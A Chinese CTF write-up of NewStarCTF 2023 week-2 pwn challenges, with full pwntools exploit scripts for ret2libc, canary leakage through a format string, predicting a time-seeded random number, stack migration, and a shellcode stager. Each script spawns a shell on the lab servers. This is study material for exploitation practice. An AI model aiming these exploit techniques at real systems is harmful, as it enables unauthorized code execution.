NewStarCTF 2023 [WEEK 2] PWN
简介:
第二周题目上难度了,有几题做的比较棘手不会做 >_<,啊啊啊!!!
ret2libc
看题目名字 ret2libc,就知道是经典的考点,泄露 libc,不懂小伙伴可以去看这个上面写的很详细 Pwn Pwn Pwn!!! 技巧(1),老规矩查看一下保护机制,只打开 NX,并且该有的都有。


IDA 反编译一下,发现无 system,无 binsh,所以我们只能通过泄露 libc,构造 system 和 binsh。

exp 如下:
from pwn import * from LibcSearcher import * context(arch='amd64', os='linux', log_level='debug')
io = remote('node4.buuoj.cn', 25664) elf = ELF('./111')
got_addr = elf.got['puts'] plt_addr = elf.plt['puts'] main_addr = 0x400698 rdi_addr = 0x400763 ret_addr = 0x400506
payload = b'A' * (0x20 + 8) + p64(rdi_addr) + p64(got_addr) + p64(plt_addr) + p64(main_addr) io.recvuntil(b'Show me your magic again\n') io.sendline(payload)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts') sys_addr = libc_base + libc.dump('system') bin_sh = libc_base + libc.dump('str_bin_sh')
payload = b'a' * (0x20 + 8) + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh) + p64(sys_addr) io.recvuntil(b'Show me your magic again\n')
io.sendline(payload) io.interactive()
|
canary
一样是一道经典题型 canary,开启了 canary 和 NX,还有格式化字符串漏洞,经典思路就是通过格式字符串去泄露 canary(如果没有格式化字符串漏洞,那只能通过溢出的形式去泄露 canary),但是我们需要在 gdb 里面找到 canary 是第几个参数,运行文件就可以发现偏移是 6。

IDA 反编译一下,你会发现有后门函数,就不需要像上一题一样要自己泄露 libc 了,同时还有格式化字符串漏洞,刚好可以帮我们打印出 canary 的值。

把断点打在 printf,gdb 调试寻找 canary 的值,你就可以发现 canary 是第十一个参数(这个你不会看不出来吧 -_-),接下来就是套路了。

exp 如下:
from pwn import * from LibcSearcher import * context(os='linux', arch='amd64', log_level='debug')
p = remote('node4.buuoj.cn', 27406) elf = ELF('./111')
backdoor = 0x401262 ret_addr = 0x40101a
payload = b'%11$p' p.sendline(payload) p.recvuntil(b'Oh thanks,There is my gift:\n') canary = int(p.recv(18), 16)
payload = b'a' * (0x30 - 8) + p64(canary) + p64(0) + p64(ret_addr) + p64(backdoor)
p.send(payload) p.interactive()
|
secret number
老规矩查看一下保护机制,保护全开看着有点吓人,没事代码审计一下。

认真代码审计,你就会发现只需要让 v5 等于 secret 就可以直接获得 flag,v5 是我们自己输入的,secret 是一个伪随机数,所以我们只需要让时间做种子,输入伪随机数即可。

exp 如下:
python复制编辑from pwn import * from ctypes import * context(os='linux', arch='amd64', log_level='debug')
p = remote('node4.buuoj.cn', 28725) elf = ELF('./111') libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
seed = libc.time(0) libc.srand(seed) num1 = libc.rand()
p.sendlineafter(b'Give me some gift?(0/1)\n', b'0') p.sendlineafter(b'Guess the number\n', str(num1)) p.interactive()
|
stack migration
只开启了 NX,IDA 反编译,就会发现存在溢出,但是溢出的长度只有 0x10,不够构造 shellcode,所以只能通过栈迁移来解决这一问题。

IDA 一下,代码审计一下,你会发现往 buf 里面输入数据,然后就会打印出栈地址,然后就是一个细节需要注意(红色框住的),v2 地址就是栈地址 +8(这里你要明白栈是怎么存储数据的,高地址在下,低地址在上,这就是为什么加8的原因),第二个 read 发生了栈溢出,但是溢出的长度不足以构造 rop 链,所以只能进行栈迁移(leave; ret;,leave 相对于是 mov esp, ebp; pop ebp;,ret 是 pop eip;)这样就简单明了了,下面就是需要注意一下接受数据(是否有空格,这里我踩坑了 -_-)。

exp 如下:
python复制编辑from pwn import * from LibcSearcher import * context(arch='amd64', os='linux', log_level='debug')
p = remote('node4.buuoj.cn', 26912)
elf = ELF('./111') libc = ELF('./libc.so.6')
got_addr = elf.got['puts'] plt_addr = elf.plt['puts'] rdi_addr = 0x401333 ret_addr = 0x4012AB main = 0x4011FB leave = 0x4012AA
p.recvuntil(b'name:\n') p.send(b'a'*8) p.recvuntil(b'I have a small gift for you: ') stack = int(p.recv(14), 16) + 8
p.recvuntil(b'more infomation plz:\n')
payload = b'a'*8 + p64(rdi_addr) + p64(got_addr) + p64(plt_addr) + p64(main) payload = payload.ljust(80, b'a') payload += p64(stack) + p64(leave) p.send(payload)
p.recvuntil("maybe I'll see you soon!\n") puts_addr = u64(p.recvuntil(b'\x7f')[:6].ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts'] sys_addr = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))
p.recvuntil(b'name:\n') p.send(b'a'*8) p.recvuntil(b'I have a small gift for you: ') stack = int(p.recv(14), 16) + 8
payload = b'a'*8 + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh) + p64(sys_addr) payload = payload.ljust(80, b'a') payload += p64(stack) + p64(leave) p.send(payload)
p.interactive()
|
shellcode revenge
查看一下保护机制,开启 NX 和 Canary,IDA 反编译一下,代码审计看的脑壳痛。



把官方 wp 贴这里,后续懂了再来改。
python复制编辑from pwn import * context(arch='amd64', os='linux', log_level='debug') p = remote("node4.buuoj.cn", 27904)
payload = b'\x33\x42\x38' payload += b'\x31\x42\x30' payload += b'\x33\x42\x37' payload += b'\x31\x42\x38' payload += b'\x59' * (0x30 - len(payload)) payload += b'\x4e\x44' * 2 payload += b'A' * 8
p.sendlineafter("magic\n", payload) pause()
p.sendline(b'\x90' * 0x50 + asm(shellcraft.sh())) p.interactive()
|
总结:
栈迁移这块还不是很熟悉,shellcode 的相关手法还得继续学习 -_-,还得继续努力啊!!!